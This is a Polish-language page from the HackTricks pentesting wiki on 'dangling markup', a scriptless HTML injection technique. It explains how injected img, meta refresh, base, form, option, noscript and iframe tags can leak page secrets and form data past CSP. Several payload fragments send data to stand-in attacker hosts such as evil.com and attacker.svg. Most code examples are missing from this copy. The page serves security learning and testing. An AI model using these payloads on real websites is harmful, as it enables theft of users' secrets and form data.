Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ta technika może być używana do wyciągania informacji od użytkownika, gdy znaleziono wstrzyknięcie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz żadnego sposobu na wykorzystanie XSS , ale możesz wstrzyknąć kilka znaczników HTML. Jest to również przydatne, jeśli jakiś sekret jest zapisany w postaci czystego tekstu w HTML i chcesz go wyekstrahować z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
Kilka technik omówionych tutaj może być użytych do obejścia niektórych Content Security Policy poprzez wyekstrahowanie informacji w nieoczekiwany sposób (znaczniki html, CSS, znaczniki http-meta, formularze, base...).
Jeśli wstrzykniesz <img src='http://evil.com/log.cgi?
podczas ładowania strony, ofiara wyśle ci cały kod między wstrzykniętym znacznikiem img
a następnym cudzysłowem w kodzie. Jeśli sekret znajduje się w tym kawałku, ukradniesz go (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
Jeśli znacznik img
jest zabroniony (na przykład z powodu CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
Możesz również nadużyć CSS @import
(wyśle cały kod, aż znajdzie ";")
Możesz również użyć <table
:
Możesz również wstawić tag <base
. Wszystkie informacje będą wysyłane, dopóki cytat nie zostanie zamknięty, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):
Then, formularze, które wysyłają dane do ścieżki (jak <form action='update_profile.php'>
), będą wysyłać dane do złośliwej domeny.
Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'>
, to nadpisze następny nagłówek formularza, a wszystkie dane z formularza zostaną wysłane do atakującego.
Przycisk może zmienić adres URL, do którego informacje z formularza będą wysyłane, za pomocą atrybutu "formaction":
Napastnik może to wykorzystać do kradzieży informacji.
Znajdź przykład tego ataku w tym opisie.
Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), możesz następnie wstrzyknąć nowe pole wejściowe:
i to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Atak ten łączy "Kradzież jawnych sekretów" z "Kradzieżą formularzy2".
Możesz zrobić to samo, wstrzykując formularz i tag <option>
. Wszystkie dane aż do znalezienia zamkniętego </option>
zostaną wysłane:
Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwaną akcję:
<noscript></noscript>
To tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w chrome://settings/content/javascript).
Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzyknięcia do dołu na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:
Z tego badania portswiggers możesz się dowiedzieć, że nawet z najbardziej ograniczonych środowisk CSP można nadal ekstrahować dane z pewną interakcją użytkownika. W tej okazji użyjemy ładunku:
Zauważ, że poprosisz ofiarę o kliknięcie w link, który przekieruje ją do ładunku kontrolowanego przez ciebie. Zauważ również, że atrybut target
wewnątrz tagu base
będzie zawierał zawartość HTML aż do następnego pojedynczego cudzysłowu.
To spowoduje, że wartość window.name
po kliknięciu w link będzie zawierać całą tę zawartość HTML. Dlatego, ponieważ kontrolujesz stronę, na którą ofiara przechodzi, klikając link, możesz uzyskać dostęp do window.name
i ekstrahować te dane:
Wstaw nowy tag z id wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przebieg skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
Utwórz zmienne wewnątrz przestrzeni nazw javascript, wstawiając tagi HTML. Następnie ta zmienna wpłynie na przepływ aplikacji:
Jeśli znajdziesz interfejs JSONP, możesz być w stanie wywołać dowolną funkcję z dowolnymi danymi:
Lub możesz nawet spróbować wykonać jakiś javascript:
Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości location
swojego rodzica, nawet w sytuacjach między źródłami. Umożliwia to osadzenie skryptu w iframe, który może przekierować klienta na dowolną stronę:
To można złagodzić za pomocą czegoś takiego: sandbox=' allow-scripts allow-top-navigation'
Iframe może być również nadużywany do wycieku wrażliwych informacji z innej strony używając atrybutu nazwy iframe. Dzieje się tak, ponieważ można stworzyć iframe, który iframe'uje siebie, nadużywając wstrzykiwania HTML, co sprawia, że wrażliwe informacje pojawiają się wewnątrz atrybutu nazwy iframe, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i ją wyciekować.
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Możesz użyć meta http-equiv
, aby wykonać kilka działań, takich jak ustawienie ciasteczka: <meta http-equiv="Set-Cookie" Content="SESSID=1">
lub wykonanie przekierowania (w tym przypadku po 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Można to uniknąć za pomocą CSP dotyczącego http-equiv ( Content-Security-Policy: default-src 'self';
, lub Content-Security-Policy: http-equiv 'self';
)
Możesz znaleźć bardzo interesujące badania na temat podatnych na exploity luk w tagu <portal tutaj.
W momencie pisania tego tekstu musisz włączyć tag portal w Chrome w chrome://flags/#enable-portals
, inaczej nie będzie działać.
Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
To jest mieszanka między dangling markup a XS-Leaks. Z jednej strony luka pozwala na wstrzyknięcie HTML (ale nie JS) na stronę o tej samej domenie, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale inną stronę.
XS-Search są ukierunkowane na ekstrakcję informacji z różnych źródeł poprzez nadużywanie ataków bocznych. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak CSS Injection lub Lazy Load Images.
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)